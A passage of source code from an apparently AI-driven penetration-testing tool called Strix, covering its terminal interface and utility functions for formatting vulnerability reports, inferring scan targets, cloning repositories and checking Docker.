return\n\n        agent_name, should_stop = self._validate_agent_for_stopping()\n        if not should_stop:\n            return\n\n        try:\n            self.query_one(\"#main_container\")\n        except (ValueError, Exception):\n            return\n\n        self.push_screen(StopAgentScreen(agent_name, self.selected_agent_id))\n\n    def _validate_agent_for_stopping(self) -> tuple[str, bool]:\n        agent_name = \"Unknown Agent\"\n\n        try:\n            if self.tracer and self.selected_agent_id in self.tracer.agents:\n                agent_data = self.tracer.agents[self.selected_agent_id]\n                agent_name = agent_data.get(\"name\", \"Unknown Agent\")\n\n                agent_status = agent_data.get(\"status\", \"running\")\n                if agent_status not in [\"running\"]:\n                    return agent_name, False\n\n                agent_events = self._gather_agent_events(self.selected_agent_id)\n                if not agent_events:\n                    return agent_name, False\n\n                return agent_name, True\n\n        except (KeyError, AttributeError, ValueError) as e:\n            import logging\n\n            logging.warning(f\"Failed to gather agent events: {e}\")\n\n        return agent_name, False\n\n    def action_confirm_stop_agent(self, agent_id: str) -> None:\n        try:\n            from strix.tools.agents_graph.agents_graph_actions import stop_agent\n\n            result = stop_agent(agent_id)\n\n            import logging\n\n            if result.get(\"success\"):\n                logging.info(f\"Stop request sent to agent: {result.get('message', 'Unknown')}\")\n            else:\n                logging.warning(f\"Failed to stop agent: {result.get('error', 'Unknown error')}\")\n\n        except Exception:\n            import logging\n\n            logging.exception(f\"Failed to stop agent {agent_id}\")\n\n    def action_custom_quit(self) -> None:\n        if self._scan_thread and self._scan_thread.is_alive():\n            self._scan_stop_event.set()\n\n            self._scan_thread.join(timeout=1.0)\n\n        self.tracer.cleanup()\n\n        self.exit()\n\n    def _is_widget_safe(self, widget: Any) -> bool:\n        try:\n            _ = widget.screen\n        except (AttributeError, ValueError, Exception):\n            return False\n        else:\n            return bool(widget.is_mounted)\n\n    def _safe_widget_operation(\n        self, operation: Callable[..., Any], *args: Any, **kwargs: Any\n    ) -> bool:\n        try:\n            operation(*args, **kwargs)\n        except (AttributeError, ValueError, Exception):\n            return False\n        else:\n            return True\n\n    def on_resize(self, event: events.Resize) -> None:\n        if self.show_splash or not self.is_mounted:\n            return\n\n        try:\n            sidebar = self.query_one(\"#sidebar\", Vertical)\n            chat_area = self.query_one(\"#chat_area_container\", Vertical)\n        except (ValueError, Exception):\n            return\n\n        if event.size.width < self.SIDEBAR_MIN_WIDTH:\n            sidebar.add_class(\"-hidden\")\n            chat_area.add_class(\"-full-width\")\n        else:\n            sidebar.remove_class(\"-hidden\")\n            chat_area.remove_class(\"-full-width\")\n\n    def on_mouse_up(self, _event: events.MouseUp) -> None:\n        self.set_timer(0.05, self._auto_copy_selection)\n\n    _ICON_PREFIXES: ClassVar[tuple[str, ...]] = (\n        \"🐞 \",\n        \"🌐 \",\n        \"📋 \",\n        \"🧠 \",\n        \"◆ \",\n        \"◇ \",\n        \"◈ \",\n        \"→ \",\n        \"○ \",\n        \"● \",\n        \"✓ \",\n        \"✗ \",\n        \"⚠ \",\n        \"▍ \",\n        \"▍\",\n        \"┃ \",\n        \"• \",\n        \">_ \",\n        \"</> \",\n        \"<~> \",\n        \"[ ] \",\n        \"[~] \",\n        \"[•] \",\n    )\n\n    _DECORATIVE_LINES: ClassVar[frozenset[str]] = frozenset(\n        {\n            \"● In progress...\",\n            \"✓ Done\",\n            \"✗ Failed\",\n            \"✗ Error\",\n            \"○ Unknown\",\n        }\n    )\n\n    @staticmethod\n    def _clean_copied_text(text: str) -> str:\n        lines = text.split(\"\\n\")\n        cleaned: list[str] = []\n        for line in lines:\n            stripped = line.lstrip()\n            if stripped in StrixTUIApp._DECORATIVE_LINES:\n                continue\n            if stripped and all(c == \"─\" for c in stripped):\n                continue\n            out = line\n            for prefix in StrixTUIApp._ICON_PREFIXES:\n                if stripped.startswith(prefix):\n                    leading = line[: len(line) - len(line.lstrip())]\n                    out = leading + stripped[len(prefix) :]\n                    break\n            cleaned.append(out)\n        return \"\\n\".join(cleaned)\n\n    def _auto_copy_selection(self) -> None:\n        copied = False\n\n        try:\n            if self.screen.selections:\n                selected = self.screen.get_selected_text()\n                self.screen.clear_selection()\n                if selected and selected.strip():\n                    cleaned = self._clean_copied_text(selected)\n                    self.copy_to_clipboard(cleaned if cleaned.strip() else selected)\n                    copied = True\n        except Exception:  # noqa: BLE001\n            logger.debug(\"Failed to copy screen selection\", exc_info=True)\n\n        if not copied:\n            try:\n                chat_input = self.query_one(\"#chat_input\", ChatTextArea)\n                selected = chat_input.selected_text\n                if selected and selected.strip():\n                    self.copy_to_clipboard(selected)\n                    chat_input.move_cursor(chat_input.cursor_location)\n                    copied = True\n            except Exception:  # noqa: BLE001\n                logger.debug(\"Failed to copy chat input selection\", exc_info=True)\n\n        if copied:\n            self.notify(\"Copied to clipboard\", timeout=2)\n\n\nasync def run_tui(args: argparse.Namespace) -> None:\n    \"\"\"Run strix in interactive TUI mode with textual.\"\"\"\n    app = StrixTUIApp(args)\n    await app.run_async()\n"
  },
  {
    "path": "strix/interface/utils.py",
    "content": "import ipaddress\nimport json\nimport re\nimport secrets\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom typing import Any\nfrom urllib.error import HTTPError, URLError\nfrom urllib.parse import urlparse\nfrom urllib.request import Request, urlopen\n\nimport docker\nfrom docker.errors import DockerException, ImageNotFound\nfrom rich.console import Console\nfrom rich.panel import Panel\nfrom rich.text import Text\n\n\n# Token formatting utilities\ndef format_token_count(count: float) -> str:\n    count = int(count)\n    if count >= 1_000_000:\n        return f\"{count / 1_000_000:.1f}M\"\n    if count >= 1_000:\n        return f\"{count / 1_000:.1f}K\"\n    return str(count)\n\n\n# Display utilities\ndef get_severity_color(severity: str) -> str:\n    severity_colors = {\n        \"critical\": \"#dc2626\",\n        \"high\": \"#ea580c\",\n        \"medium\": \"#d97706\",\n        \"low\": \"#65a30d\",\n        \"info\": \"#0284c7\",\n    }\n    return severity_colors.get(severity, \"#6b7280\")\n\n\ndef get_cvss_color(cvss_score: float) -> str:\n    if cvss_score >= 9.0:\n        return \"#dc2626\"\n    if cvss_score >= 7.0:\n        return \"#ea580c\"\n    if cvss_score >= 4.0:\n        return \"#d97706\"\n    if cvss_score >= 0.1:\n        return \"#65a30d\"\n    return \"#6b7280\"\n\n\ndef format_vulnerability_report(report: dict[str, Any]) -> Text:  # noqa: PLR0912, PLR0915\n    \"\"\"Format a vulnerability report for CLI display with all rich fields.\"\"\"\n    field_style = \"bold #4ade80\"\n\n    text = Text()\n\n    title = report.get(\"title\", \"\")\n    if title:\n        text.append(\"Vulnerability Report\", style=\"bold #ea580c\")\n        text.append(\"\\n\\n\")\n        text.append(\"Title: \", style=field_style)\n        text.append(title)\n\n    severity = report.get(\"severity\", \"\")\n    if severity:\n        text.append(\"\\n\\n\")\n        text.append(\"Severity: \", style=field_style)\n        severity_color = get_severity_color(severity.lower())\n        text.append(severity.upper(), style=f\"bold {severity_color}\")\n\n    cvss = report.get(\"cvss\")\n    if cvss is not None:\n        text.append(\"\\n\\n\")\n        text.append(\"CVSS Score: \", style=field_style)\n        cvss_color = get_cvss_color(cvss)\n        text.append(f\"{cvss:.1f}\", style=f\"bold {cvss_color}\")\n\n    target = report.get(\"target\")\n    if target:\n        text.append(\"\\n\\n\")\n        text.append(\"Target: \", style=field_style)\n        text.append(target)\n\n    endpoint = report.get(\"endpoint\")\n    if endpoint:\n        text.append(\"\\n\\n\")\n        text.append(\"Endpoint: \", style=field_style)\n        text.append(endpoint)\n\n    method = report.get(\"method\")\n    if method:\n        text.append(\"\\n\\n\")\n        text.append(\"Method: \", style=field_style)\n        text.append(method)\n\n    cve = report.get(\"cve\")\n    if cve:\n        text.append(\"\\n\\n\")\n        text.append(\"CVE: \", style=field_style)\n        text.append(cve)\n\n    cvss_breakdown = report.get(\"cvss_breakdown\", {})\n    if cvss_breakdown:\n        text.append(\"\\n\\n\")\n        cvss_parts = []\n        if cvss_breakdown.get(\"attack_vector\"):\n            cvss_parts.append(f\"AV:{cvss_breakdown['attack_vector']}\")\n        if cvss_breakdown.get(\"attack_complexity\"):\n            cvss_parts.append(f\"AC:{cvss_breakdown['attack_complexity']}\")\n        if cvss_breakdown.get(\"privileges_required\"):\n            cvss_parts.append(f\"PR:{cvss_breakdown['privileges_required']}\")\n        if cvss_breakdown.get(\"user_interaction\"):\n            cvss_parts.append(f\"UI:{cvss_breakdown['user_interaction']}\")\n        if cvss_breakdown.get(\"scope\"):\n            cvss_parts.append(f\"S:{cvss_breakdown['scope']}\")\n        if cvss_breakdown.get(\"confidentiality\"):\n            cvss_parts.append(f\"C:{cvss_breakdown['confidentiality']}\")\n        if cvss_breakdown.get(\"integrity\"):\n            cvss_parts.append(f\"I:{cvss_breakdown['integrity']}\")\n        if cvss_breakdown.get(\"availability\"):\n            cvss_parts.append(f\"A:{cvss_breakdown['availability']}\")\n        if cvss_parts:\n            text.append(\"CVSS Vector: \", style=field_style)\n            text.append(\"/\".join(cvss_parts), style=\"dim\")\n\n    description = report.get(\"description\")\n    if description:\n        text.append(\"\\n\\n\")\n        text.append(\"Description\", style=field_style)\n        text.append(\"\\n\")\n        text.append(description)\n\n    impact = report.get(\"impact\")\n    if impact:\n        text.append(\"\\n\\n\")\n        text.append(\"Impact\", style=field_style)\n        text.append(\"\\n\")\n        text.append(impact)\n\n    technical_analysis = report.get(\"technical_analysis\")\n    if technical_analysis:\n        text.append(\"\\n\\n\")\n        text.append(\"Technical Analysis\", style=field_style)\n        text.append(\"\\n\")\n        text.append(technical_analysis)\n\n    poc_description = report.get(\"poc_description\")\n    if poc_description:\n        text.append(\"\\n\\n\")\n        text.append(\"PoC Description\", style=field_style)\n        text.append(\"\\n\")\n        text.append(poc_description)\n\n    poc_script_code = report.get(\"poc_script_code\")\n    if poc_script_code:\n        text.append(\"\\n\\n\")\n        text.append(\"PoC Code\", style=field_style)\n        text.append(\"\\n\")\n        text.append(poc_script_code, style=\"dim\")\n\n    code_locations = report.get(\"code_locations\")\n    if code_locations:\n        text.append(\"\\n\\n\")\n        text.append(\"Code Locations\", style=field_style)\n        for i, loc in enumerate(code_locations):\n            text.append(\"\\n\\n\")\n            text.append(f\"  Location {i + 1}: \", style=\"dim\")\n            text.append(loc.get(\"file\", \"unknown\"), style=\"bold\")\n            start = loc.get(\"start_line\")\n            end = loc.get(\"end_line\")\n            if start is not None:\n                if end and end != start:\n                    text.append(f\":{start}-{end}\")\n                else:\n                    text.append(f\":{start}\")\n            if loc.get(\"label\"):\n                text.append(f\"\\n  {loc['label']}\", style=\"italic dim\")\n            if loc.get(\"snippet\"):\n                text.append(\"\\n  \")\n                text.append(loc[\"snippet\"], style=\"dim\")\n            if loc.get(\"fix_before\") or loc.get(\"fix_after\"):\n                text.append(\"\\n  Fix:\")\n                if loc.get(\"fix_before\"):\n                    text.append(\"\\n  - \", style=\"dim\")\n                    text.append(loc[\"fix_before\"], style=\"dim\")\n                if loc.get(\"fix_after\"):\n                    text.append(\"\\n  + \", style=\"dim\")\n                    text.append(loc[\"fix_after\"], style=\"dim\")\n\n    remediation_steps = report.get(\"remediation_steps\")\n    if remediation_steps:\n        text.append(\"\\n\\n\")\n        text.append(\"Remediation\", style=field_style)\n        text.append(\"\\n\")\n        text.append(remediation_steps)\n\n    return text\n\n\ndef _build_vulnerability_stats(stats_text: Text, tracer: Any) -> None:\n    \"\"\"Build vulnerability section of stats text.\"\"\"\n    vuln_count = len(tracer.vulnerability_reports)\n\n    if vuln_count > 0:\n        severity_counts = {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"info\": 0}\n        for report in tracer.vulnerability_reports:\n            severity = report.get(\"severity\", \"\").lower()\n            if severity in severity_counts:\n                severity_counts[severity] += 1\n\n        stats_text.append(\"Vulnerabilities  \", style=\"bold red\")\n\n        severity_parts = []\n        for severity in [\"critical\", \"high\", \"medium\", \"low\", \"info\"]:\n            count = severity_counts[severity]\n            if count > 0:\n                severity_color = get_severity_color(severity)\n                severity_text = Text()\n                severity_text.append(f\"{severity.upper()}: \", style=severity_color)\n                severity_text.append(str(count), style=f\"bold {severity_color}\")\n                severity_parts.append(severity_text)\n\n        for i, part in enumerate(severity_parts):\n            stats_text.append(part)\n            if i < len(severity_parts) - 1:\n                stats_text.append(\" | \", style=\"dim white\")\n\n        stats_text.append(\" (Total: \", style=\"dim white\")\n        stats_text.append(str(vuln_count), style=\"bold yellow\")\n        stats_text.append(\")\", style=\"dim white\")\n        stats_text.append(\"\\n\")\n    else:\n        stats_text.append(\"Vulnerabilities  \", style=\"bold #22c55e\")\n        stats_text.append(\"0\", style=\"bold white\")\n        stats_text.append(\" (No exploitable vulnerabilities detected)\", style=\"dim green\")\n        stats_text.append(\"\\n\")\n\n\ndef _build_llm_stats(stats_text: Text, total_stats: dict[str, Any]) -> None:\n    \"\"\"Build LLM usage section of stats text.\"\"\"\n    if total_stats[\"requests\"] > 0:\n        stats_text.append(\"\\n\")\n        stats_text.append(\"Input Tokens \", style=\"dim\")\n        stats_text.append(format_token_count(total_stats[\"input_tokens\"]), style=\"white\")\n\n        if total_stats[\"cached_tokens\"] > 0:\n            stats_text.append(\"  ·  \", style=\"dim white\")\n            stats_text.append(\"Cached Tokens \", style=\"dim\")\n            stats_text.append(format_token_count(total_stats[\"cached_tokens\"]), style=\"white\")\n\n        stats_text.append(\"  ·  \", style=\"dim white\")\n        stats_text.append(\"Output Tokens \", style=\"dim\")\n        stats_text.append(format_token_count(total_stats[\"output_tokens\"]), style=\"white\")\n\n        if total_stats[\"cost\"] > 0:\n            stats_text.append(\" · \", style=\"dim white\")\n            stats_text.append(\"Cost \", style=\"dim\")\n            stats_text.append(f\"${total_stats['cost']:.4f}\", style=\"bold #fbbf24\")\n    else:\n        stats_text.append(\"\\n\")\n        stats_text.append(\"Cost \", style=\"dim\")\n        stats_text.append(\"$0.0000 \", style=\"#fbbf24\")\n        stats_text.append(\"· \", style=\"dim white\")\n        stats_text.append(\"Tokens \", style=\"dim\")\n        stats_text.append(\"0\", style=\"white\")\n\n\ndef build_final_stats_text(tracer: Any) -> Text:\n    \"\"\"Build stats text for final output with detailed messages and LLM usage.\"\"\"\n    stats_text = Text()\n    if not tracer:\n        return stats_text\n\n    _build_vulnerability_stats(stats_text, tracer)\n\n    tool_count = tracer.get_real_tool_count()\n    agent_count = len(tracer.agents)\n\n    stats_text.append(\"Agents\", style=\"dim\")\n    stats_text.append(\"  \")\n    stats_text.append(str(agent_count), style=\"bold white\")\n    stats_text.append(\"  ·  \", style=\"dim white\")\n    stats_text.append(\"Tools\", style=\"dim\")\n    stats_text.append(\"  \")\n    stats_text.append(str(tool_count), style=\"bold white\")\n\n    llm_stats = tracer.get_total_llm_stats()\n    _build_llm_stats(stats_text, llm_stats[\"total\"])\n\n    return stats_text\n\n\ndef build_live_stats_text(tracer: Any, agent_config: dict[str, Any] | None = None) -> Text:\n    stats_text = Text()\n    if not tracer:\n        return stats_text\n\n    if agent_config:\n        llm_config = agent_config[\"llm_config\"]\n        model = getattr(llm_config, \"model_name\", \"Unknown\")\n        stats_text.append(\"Model \", style=\"dim\")\n        stats_text.append(model, style=\"white\")\n        stats_text.append(\"\\n\")\n\n    vuln_count = len(tracer.vulnerability_reports)\n    tool_count = tracer.get_real_tool_count()\n    agent_count = len(tracer.agents)\n\n    stats_text.append(\"Vulnerabilities \", style=\"dim\")\n    stats_text.append(f\"{vuln_count}\", style=\"white\")\n    stats_text.append(\"\\n\")\n    if vuln_count > 0:\n        severity_counts = {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"info\": 0}\n        for report in tracer.vulnerability_reports:\n            severity = report.get(\"severity\", \"\").lower()\n            if severity in severity_counts:\n                severity_counts[severity] += 1\n\n        severity_parts = []\n        for severity in [\"critical\", \"high\", \"medium\", \"low\", \"info\"]:\n            count = severity_counts[severity]\n            if count > 0:\n                severity_color = get_severity_color(severity)\n                severity_text = Text()\n                severity_text.append(f\"{severity.upper()}: \", style=severity_color)\n                severity_text.append(str(count), style=f\"bold {severity_color}\")\n                severity_parts.append(severity_text)\n\n        for i, part in enumerate(severity_parts):\n            stats_text.append(part)\n            if i < len(severity_parts) - 1:\n                stats_text.append(\" | \", style=\"dim white\")\n\n        stats_text.append(\"\\n\")\n\n    stats_text.append(\"Agents \", style=\"dim\")\n    stats_text.append(str(agent_count), style=\"white\")\n    stats_text.append(\"  ·  \", style=\"dim white\")\n    stats_text.append(\"Tools \", style=\"dim\")\n    stats_text.append(str(tool_count), style=\"white\")\n\n    llm_stats = tracer.get_total_llm_stats()\n    total_stats = llm_stats[\"total\"]\n\n    stats_text.append(\"\\n\")\n\n    stats_text.append(\"Input Tokens \", style=\"dim\")\n    stats_text.append(format_token_count(total_stats[\"input_tokens\"]), style=\"white\")\n\n    stats_text.append(\"  ·  \", style=\"dim white\")\n    stats_text.append(\"Cached Tokens \", style=\"dim\")\n    stats_text.append(format_token_count(total_stats[\"cached_tokens\"]), style=\"white\")\n\n    stats_text.append(\"\\n\")\n\n    stats_text.append(\"Output Tokens \", style=\"dim\")\n    stats_text.append(format_token_count(total_stats[\"output_tokens\"]), style=\"white\")\n\n    stats_text.append(\"  ·  \", style=\"dim white\")\n    stats_text.append(\"Cost \", style=\"dim\")\n    stats_text.append(f\"${total_stats['cost']:.4f}\", style=\"#fbbf24\")\n\n    return stats_text\n\n\ndef build_tui_stats_text(tracer: Any, agent_config: dict[str, Any] | None = None) -> Text:\n    stats_text = Text()\n    if not tracer:\n        return stats_text\n\n    if agent_config:\n        llm_config = agent_config[\"llm_config\"]\n        model = getattr(llm_config, \"model_name\", \"Unknown\")\n        stats_text.append(model, style=\"white\")\n\n    llm_stats = tracer.get_total_llm_stats()\n    total_stats = llm_stats[\"total\"]\n\n    total_tokens = total_stats[\"input_tokens\"] + total_stats[\"output_tokens\"]\n    if total_tokens > 0:\n        stats_text.append(\"\\n\")\n        stats_text.append(f\"{format_token_count(total_tokens)} tokens\", style=\"white\")\n\n    if total_stats[\"cost\"] > 0:\n        stats_text.append(\" · \", style=\"white\")\n        stats_text.append(f\"${total_stats['cost']:.2f}\", style=\"white\")\n\n    caido_url = getattr(tracer, \"caido_url\", None)\n    if caido_url:\n        stats_text.append(\"\\n\")\n        stats_text.append(\"Caido: \", style=\"bold white\")\n        stats_text.append(caido_url, style=\"white\")\n\n    return stats_text\n\n\n# Name generation utilities\n\n\ndef _slugify_for_run_name(text: str, max_length: int = 32) -> str:\n    text = text.lower().strip()\n    text = re.sub(r\"[^a-z0-9]+\", \"-\", text)\n    text = text.strip(\"-\")\n    if len(text) > max_length:\n        text = text[:max_length].rstrip(\"-\")\n    return text or \"pentest\"\n\n\ndef _derive_target_label_for_run_name(targets_info: list[dict[str, Any]] | None) -> str:  # noqa: PLR0911\n    if not targets_info:\n        return \"pentest\"\n\n    first = targets_info[0]\n    target_type = first.get(\"type\")\n    details = first.get(\"details\", {}) or {}\n    original = first.get(\"original\", \"\") or \"\"\n\n    if target_type == \"web_application\":\n        url = details.get(\"target_url\", original)\n        try:\n            parsed = urlparse(url)\n            return str(parsed.netloc or parsed.path or url)\n        except Exception:  # noqa: BLE001\n            return str(url)\n\n    if target_type == \"repository\":\n        repo = details.get(\"target_repo\", original)\n        parsed = urlparse(repo)\n        path = parsed.path or repo\n        name = path.rstrip(\"/\").split(\"/\")[-1] or path\n        if name.endswith(\".git\"):\n            name = name[:-4]\n        return str(name)\n\n    if target_type == \"local_code\":\n        path_str = details.get(\"target_path\", original)\n        try:\n            return str(Path(path_str).name or path_str)\n        except Exception:  # noqa: BLE001\n            return str(path_str)\n\n    if target_type == \"ip_address\":\n        return str(details.get(\"target_ip\", original) or original)\n\n    return str(original or \"pentest\")\n\n\ndef generate_run_name(targets_info: list[dict[str, Any]] | None = None) -> str:\n    base_label = _derive_target_label_for_run_name(targets_info)\n    slug = _slugify_for_run_name(base_label)\n\n    random_suffix = secrets.token_hex(2)\n\n    return f\"{slug}_{random_suffix}\"\n\n\n# Target processing utilities\n\n\ndef _is_http_git_repo(url: str) -> bool:\n    check_url = f\"{url.rstrip('/')}/info/refs?service=git-upload-pack\"\n    try:\n        req = Request(check_url, headers={\"User-Agent\": \"git/strix\"})  # noqa: S310\n        with urlopen(req, timeout=10) as resp:  # noqa: S310  # nosec B310\n            return \"x-git-upload-pack-advertisement\" in resp.headers.get(\"Content-Type\", \"\")\n    except HTTPError as e:\n        return e.code == 401\n    except (URLError, OSError, ValueError):\n        return False\n\n\ndef infer_target_type(target: str) -> tuple[str, dict[str, str]]:  # noqa: PLR0911, PLR0912\n    if not target or not isinstance(target, str):\n        raise ValueError(\"Target must be a non-empty string\")\n\n    target = target.strip()\n\n    if target.startswith(\"git@\"):\n        return \"repository\", {\"target_repo\": target}\n\n    if target.startswith(\"git://\"):\n        return \"repository\", {\"target_repo\": target}\n\n    parsed = urlparse(target)\n    if parsed.scheme in (\"http\", \"https\"):\n        if parsed.username or parsed.password:\n            return \"repository\", {\"target_repo\": target}\n        if parsed.path.rstrip(\"/\").endswith(\".git\"):\n            return \"repository\", {\"target_repo\": target}\n        if parsed.query or parsed.fragment:\n            return \"web_application\", {\"target_url\": target}\n        path_segments = [s for s in parsed.path.split(\"/\") if s]\n        if len(path_segments) >= 2 and _is_http_git_repo(target):\n            return \"repository\", {\"target_repo\": target}\n        return \"web_application\", {\"target_url\": target}\n\n    try:\n        ip_obj = ipaddress.ip_address(target)\n    except ValueError:\n        pass\n    else:\n        return \"ip_address\", {\"target_ip\": str(ip_obj)}\n\n    path = Path(target).expanduser()\n    try:\n        if path.exists():\n            if path.is_dir():\n                return \"local_code\", {\"target_path\": str(path.resolve())}\n            raise ValueError(f\"Path exists but is not a directory: {target}\")\n    except (OSError, RuntimeError) as e:\n        raise ValueError(f\"Invalid path: {target} - {e!s}\") from e\n\n    if target.endswith(\".git\"):\n        return \"repository\", {\"target_repo\": target}\n\n    if \"/\" in target:\n        host_part, _, path_part = target.partition(\"/\")\n        if \".\" in host_part and not host_part.startswith(\".\") and path_part:\n            full_url = f\"https://{target}\"\n            if _is_http_git_repo(full_url):\n                return \"repository\", {\"target_repo\": full_url}\n            return \"web_application\", {\"target_url\": full_url}\n\n    if \".\" in target and \"/\" not in target and not target.startswith(\".\"):\n        parts = target.split(\".\")\n        if len(parts) >= 2 and all(p and p.strip() for p in parts):\n            return \"web_application\", {\"target_url\": f\"https://{target}\"}\n\n    raise ValueError(\n        f\"Invalid target: {target}\\n\"\n        \"Target must be one of:\\n\"\n        \"- A valid URL (http:// or https://)\\n\"\n        \"- A Git repository URL (https://host/org/repo or git@host:org/repo.git)\\n\"\n        \"- A local directory path\\n\"\n        \"- A domain name (e.g., example.com)\\n\"\n        \"- An IP address (e.g., 192.168.1.10)\"\n    )\n\n\ndef sanitize_name(name: str) -> str:\n    sanitized = re.sub(r\"[^A-Za-z0-9._-]\", \"-\", name.strip())\n    return sanitized or \"target\"\n\n\ndef derive_repo_base_name(repo_url: str) -> str:\n    if repo_url.endswith(\"/\"):\n        repo_url = repo_url[:-1]\n\n    if \":\" in repo_url and repo_url.startswith(\"git@\"):\n        path_part = repo_url.split(\":\", 1)[1]\n    else:\n        path_part = urlparse(repo_url).path or repo_url\n\n    candidate = path_part.split(\"/\")[-1]\n    if candidate.endswith(\".git\"):\n        candidate = candidate[:-4]\n\n    return sanitize_name(candidate or \"repository\")\n\n\ndef derive_local_base_name(path_str: str) -> str:\n    try:\n        base = Path(path_str).resolve().name\n    except (OSError, RuntimeError):\n        base = Path(path_str).name\n    return sanitize_name(base or \"workspace\")\n\n\ndef assign_workspace_subdirs(targets_info: list[dict[str, Any]]) -> None:\n    name_counts: dict[str, int] = {}\n\n    for target in targets_info:\n        target_type = target[\"type\"]\n        details = target[\"details\"]\n\n        base_name: str | None = None\n        if target_type == \"repository\":\n            base_name = derive_repo_base_name(details[\"target_repo\"])\n        elif target_type == \"local_code\":\n            base_name = derive_local_base_name(details.get(\"target_path\", \"local\"))\n\n        if base_name is None:\n            continue\n\n        count = name_counts.get(base_name, 0) + 1\n        name_counts[base_name] = count\n\n        workspace_subdir = base_name if count == 1 else f\"{base_name}-{count}\"\n\n        details[\"workspace_subdir\"] = workspace_subdir\n\n\ndef collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str, str]]:\n    local_sources: list[dict[str, str]] = []\n\n    for target_info in targets_info:\n        details = target_info[\"details\"]\n        workspace_subdir = details.get(\"workspace_subdir\")\n\n        if target_info[\"type\"] == \"local_code\" and \"target_path\" in details:\n            local_sources.append(\n                {\n                    \"source_path\": details[\"target_path\"],\n                    \"workspace_subdir\": workspace_subdir,\n                }\n            )\n\n        elif target_info[\"type\"] == \"repository\" and \"cloned_repo_path\" in details:\n            local_sources.append(\n                {\n                    \"source_path\": details[\"cloned_repo_path\"],\n                    \"workspace_subdir\": workspace_subdir,\n                }\n            )\n\n    return local_sources\n\n\ndef _is_localhost_host(host: str) -> bool:\n    host_lower = host.lower().strip(\"[]\")\n\n    if host_lower in (\"localhost\", \"0.0.0.0\", \"::1\"):  # nosec B104\n        return True\n\n    try:\n        ip = ipaddress.ip_address(host_lower)\n        if isinstance(ip, ipaddress.IPv4Address):\n            return ip.is_loopback  # 127.0.0.0/8\n        if isinstance(ip, ipaddress.IPv6Address):\n            return ip.is_loopback  # ::1\n    except ValueError:\n        pass\n\n    return False\n\n\ndef rewrite_localhost_targets(targets_info: list[dict[str, Any]], host_gateway: str) -> None:\n    from yarl import URL  # type: ignore[import-not-found]\n\n    for target_info in targets_info:\n        target_type = target_info.get(\"type\")\n        details = target_info.get(\"details\", {})\n\n        if target_type == \"web_application\":\n            target_url = details.get(\"target_url\", \"\")\n            try:\n                url = URL(target_url)\n            except (ValueError, TypeError):\n                continue\n\n            if url.host and _is_localhost_host(url.host):\n                details[\"target_url\"] = str(url.with_host(host_gateway))\n\n        elif target_type == \"ip_address\":\n            target_ip = details.get(\"target_ip\", \"\")\n            if target_ip and _is_localhost_host(target_ip):\n                details[\"target_ip\"] = host_gateway\n\n\n# Repository utilities\ndef clone_repository(repo_url: str, run_name: str, dest_name: str | None = None) -> str:\n    console = Console()\n\n    git_executable = shutil.which(\"git\")\n    if git_executable is None:\n        raise FileNotFoundError(\"Git executable not found in PATH\")\n\n    temp_dir = Path(tempfile.gettempdir()) / \"strix_repos\" / run_name\n    temp_dir.mkdir(parents=True, exist_ok=True)\n\n    if dest_name:\n        repo_name = dest_name\n    else:\n        repo_name = Path(repo_url).stem if repo_url.endswith(\".git\") else Path(repo_url).name\n\n    clone_path = temp_dir / repo_name\n\n    if clone_path.exists():\n        shutil.rmtree(clone_path)\n\n    try:\n        with console.status(f\"[bold cyan]Cloning repository {repo_url}...\", spinner=\"dots\"):\n            subprocess.run(  # noqa: S603\n                [\n                    git_executable,\n                    \"clone\",\n                    repo_url,\n                    str(clone_path),\n                ],\n                capture_output=True,\n                text=True,\n                check=True,\n            )\n\n        return str(clone_path.absolute())\n\n    except subprocess.CalledProcessError as e:\n        error_text = Text()\n        error_text.append(\"REPOSITORY CLONE FAILED\", style=\"bold red\")\n        error_text.append(\"\\n\\n\", style=\"white\")\n        error_text.append(f\"Could not clone repository: {repo_url}\\n\", style=\"white\")\n        error_text.append(\n            f\"Error: {e.stderr if hasattr(e, 'stderr') and e.stderr else str(e)}\", style=\"dim red\"\n        )\n\n        panel = Panel(\n            error_text,\n            title=\"[bold white]STRIX\",\n            title_align=\"left\",\n            border_style=\"red\",\n            padding=(1, 2),\n        )\n        console.print(\"\\n\")\n        console.print(panel)\n        console.print()\n        sys.exit(1)\n    except FileNotFoundError:\n        error_text = Text()\n        error_text.append(\"GIT NOT FOUND\", style=\"bold red\")\n        error_text.append(\"\\n\\n\", style=\"white\")\n        error_text.append(\"Git is not installed or not available in PATH.\\n\", style=\"white\")\n        error_text.append(\"Please install Git to clone repositories.\\n\", style=\"white\")\n\n        panel = Panel(\n            error_text,\n            title=\"[bold white]STRIX\",\n            title_align=\"left\",\n            border_style=\"red\",\n            padding=(1, 2),\n        )\n        console.print(\"\\n\")\n        console.print(panel)\n        console.print()\n        sys.exit(1)\n\n\n# Docker utilities\ndef check_docker_connection() -> Any:\n    try:\n        return docker.from_env()\n    except DockerException:\n        console = Console()\n        error_text = Text()\n        error_text.append(\"DOCKER NOT AVAILABLE\", style=\"bold red\")\n        error_text.append(\"\\n\\n\", style=\"white\")\n        error_text.append(\"Cannot connect to Docker daemon.\\n\", style=\"white\")\n        error_text.append(\n            \"Please ensure Docker Desktop is installed and running, and try running strix again.\\n\",\n            style=\"white\",\n        )\n\n        panel = Panel(\n            error_text,\n            title=\"[bold white]STRIX\",\n            title_align=\"left\",\n            border_style=\"red\",\n            padding=(1, 2),\n        )\n        console.print(\"\\n\", panel, \"\\n\")\n        raise RuntimeError(\"Docker not available\") from None\n\n\ndef image_exists(client: Any, image_name: str) -> bool:\n    try:\n        client.images.get(image_name)\n    except ImageNotFound:\n        return False\n    else:\n        return True\n\n\ndef update_layer_status(layers_info: dict[str, str], layer_id: str, layer_status: str) -> None:\n    if \"Pull complete\" in layer_status or \"Already exists\" in layer_status:\n        layers_info[layer_id] = \"✓\"\n    elif \"Downloading\" in layer_status:\n        layers_info[layer_id] = \"↓\"\n    elif \"Extracting\" in layer_status:\n        layers_info[layer_id] = \"📦\"\n    elif \"Waiting\" in layer_status:\n        layers_info[layer_id] = \"⏳\"\n    else:\n        layers_info[layer_id] = \"•\"\n\n\ndef process_pull_line(\n    line: dict[str, Any], layers_info: dict[str, str], status: Any, last_update: str\n) -> str:\n    if \"id\" in line and \"status\" in line:\n        layer_id = line[\"id\"]\n        update_layer_status(layers_info, layer_id, line[\"status\"])\n\n        completed = sum(1 for v in layers_info.values() if v == \"✓\")\n        total 